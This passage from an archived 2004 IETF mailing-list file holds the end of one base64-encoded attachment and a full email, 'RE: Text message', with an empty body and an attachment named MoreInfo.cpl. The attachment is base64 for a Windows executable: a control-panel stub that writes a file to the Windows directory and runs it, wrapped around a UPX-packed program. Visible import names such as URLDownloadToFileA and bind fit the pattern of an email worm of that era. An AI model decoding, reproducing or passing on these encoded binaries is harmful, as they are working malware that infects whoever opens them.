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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA
AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA
kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A
/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3
d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA
AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA
Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////
////////////////////////////////////////////////////////////////////////
////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB////////
//////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA
AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA
oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA
AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA
AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1
AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA
2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s
ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA
d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz
AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA
U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm
QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAApjwkKcDCOcMCOWt/
mpSmOW6pIrKFpSWovao3LS8CGaJxwpdaKpJPegCUdKFGdo1dL6GWDjWylKULL6EBXqwNQEw4
V4l3qEhxpjGbUi4NogG4CVAaL7LBmbceUHMWPJJ2IqQAPRENPKMiuC0niQmPL3KWNEq4rnOI
H0vHDq6NTQyNbmpjTUVyNEx2m0K8PMVaIA1HMxG9VG1Ke6gQBxy0uBoMwgmfALBlCKm9X48K
sm1mXTFPZI1qOCFri6ubo2qyKxaKWRqULmV4WUM/sElNu42qhIRooqmlqZBjIEAtK1k8USSG
lA6tA3UbrZgRUhBjLTvBBYN9aC89KVkLZKHBChclShelfI1mZlUgipcmZpIDLMITuqezxkQ0
I8MwPVaTWHxLWLsabkSOindubwaIuImtZGrFmluAl16qhsPECX4eI2d3MmJqkZoXMg8aGHYJ
K2s+LUTEx5abKl1IG0w3JJxwkY2vBT9fazsoC5Cwiz9snF58DbgMrlZviZZGqi8CPZt9HxPD
wwRgWLCGRQ0YCkwjDVuHYD0DZYMuJJ1wJK09EChRrKE3BV5bGDNKnZ26ZUgJxHVlTzW1Frsj
v7EaEiRXtwBmwHurXJCxX3MGYShaeS9bSGoYJLcRUrU7H6RVM3iolgEPtloXXYKOVYeOqlI+
f8YqvQOtxZUIgWBkOgdZpTZ+lcJqKoVhmj1cp22YO0t8t8ARw6w0rYsOwqi4kxBUZoUMaVaP
xS5hFJ6FWSA+eXa0ELoWNaOlmai9JRStvSgCmpeLcKkYEKwzOZqvm7MFPb4rDE2NkBRAOwMy
SooZd2aJYQ9DDDsbKLZxJotZPIfEk3+GByucjcGHZhZRwyIvgDYdWR5AflwasqTGc4Cup3yd
bS2NYp5mGLGdaD9bOZMuSaocPWEKDy4GbzmbeqGwNKyBARVXvwG4BEBjom18X35pNow4prCY
NA6pIpNVCnweAgkvYbQdlU0PSnybsBBgLWt/qY59RnNlfa0YNMSMkKQ0Pr5WcTe7hWKQV0Ss
cBcHPwNFJKUFsz8OQUhDt5iEiGWTGQY1QUFAaC++wxtTTyxBxHOQdI5AHatkvF2JFTYXP7Ud
PiNmElkBrGPCJBOMQKBgUgM/mHqqVZaZwqjCiXmnaXpxr7A6b1cUbFR1BFpxEHOMWBuUA14D
p3g/Vgi1jU+MNoyGezkgC09V

----------zpkgfdwgiozqakckmbez--




From owner-multi6@ops.ietf.org  Wed May 12 04:12:53 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA15658
	for <multi6-archive@lists.ietf.org>; Wed, 12 May 2004 04:12:52 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BNoqu-000KVW-8x
	for multi6-data@psg.com; Wed, 12 May 2004 08:12:32 +0000
Received: from [193.136.195.3] (helo=gab54-1.org)
	by psg.com with smtp (Exim 4.30; FreeBSD)
	id 1BNoqq-000KUW-Ri
	for multi6@ops.ietf.org; Wed, 12 May 2004 08:12:29 +0000
Date: Wed, 12 May 2004 09:17:35 +0000
To: "Multi" <multi6@ops.ietf.org>
From: "Kurtis" <kurtis@kurtis.pp.se>
Subject: RE: Text message
Message-ID: <zziyvjdxkiktibckecn@ops.ietf.org>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------trwfnjomztaxobozeoxo"
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-0.7 required=5.0 tests=AWL,BAYES_01,HTML_MESSAGE,
	MIME_HTML_ONLY autolearn=no version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

----------trwfnjomztaxobozeoxo
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
 

<br>
</body></html>

----------trwfnjomztaxobozeoxo
Content-Type: application/octet-stream; name="MoreInfo.cpl"
Content-Disposition: attachment; filename="MoreInfo.cpl"
Content-Transfer-Encoding: base64

TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAQAAAAFBFAABMAQMA7cGQQAAAAAAAAAAA4AAOIQsBBQwABgAAAAIAAAAAAAAQEQAA
ABAAAAAgAAAAAAAQABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAjH4AAAACAAAAAAAAAgAAAAAA
EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAFBAAADwAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAIAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAHAQAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADgBQAA
ABAAAAACAAAAAgAAAAAAAAAAAAAAAAAAIAAA4C5yZWxvYwAAKAAAAAAgAAAAAgAAAAQAAAAA
AAAAAAAAAAAAAEAAAEIAAAAAAAAAAIxOAAAAMAAAjE4AAAAGAAAAAAAAAAAAAAAAAAAgAADg
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABcY3Bsc3R1Yi5leGUAb3BlbgAAAFAQAAAAAAAA
AAAAANwQAABwEAAAaBAAAAAAAAAAAAAA+hAAAIgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAQ
AACeEAAArBAAAMQQAADQEAAAAAAAAOoQAAAAAAAAkBAAAJ4QAACsEAAAxBAAANAQAAAAAAAA
6hAAAAAAAAAZAENsb3NlSGFuZGxlADIAQ3JlYXRlRmlsZUEAZAFHZXRXaW5kb3dzRGlyZWN0
b3J5QQAAuQJXcml0ZUZpbGUA0wJsc3RyY2F0QQAAS0VSTkVMMzIuZGxsAABuAFNoZWxsRXhl
Y3V0ZUEAU0hFTEwzMi5kbGwAAAAAAAAAAAAAAFWL7IN9DAF1RpBoAAQAAGjgEQAQ6JsAAABo
ABAAEGjgEQAQ6JgAAACQaOARABDoJQAAAAvAdBiQagBqAGoAaOARABBoDRAAEGoA6HcAAAC4
AQAAAMnCDABVi+yDxPhTVjPbkGoAagBqAmoAagNoAAAAwP91COg0AAAAiUX8QHQgvgAwABCt
kmoAjUX4UFJW/3X86CMAAAD/dfzoCQAAAEOLw15bycIEAP8lcBAAEP8ldBAAEP8leBAAEP8l
fBAAEP8lgBAAEP8liBAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ
AAAgAAAAIDEqMS8xOjFPMVQxujHAMcYxzDHSMdgxABAAAAwAAACRMQAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiE4AAE1aAAABAAAAAgAAAP//AABAAAAAAAAAAEAA
AAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAACpJt0T7UezQO1Hs0DtR7NA
7UezQO5Hs0BjWKBAbUezQBFnoUDsR7NAKkG1QOxHs0BSaWNo7UezQAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAFBFAABMAQMAzA+QQAAAAAAAAAAA4AAPAQsBBQwAUAAAABAAAACQAADw4gAA
AKAAAADwAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAAABAAAQAAAAAAAAAgAAAAAA
EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAApPMAAEwCAAAA8AAApAMAAAAAAAAAAAAA
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
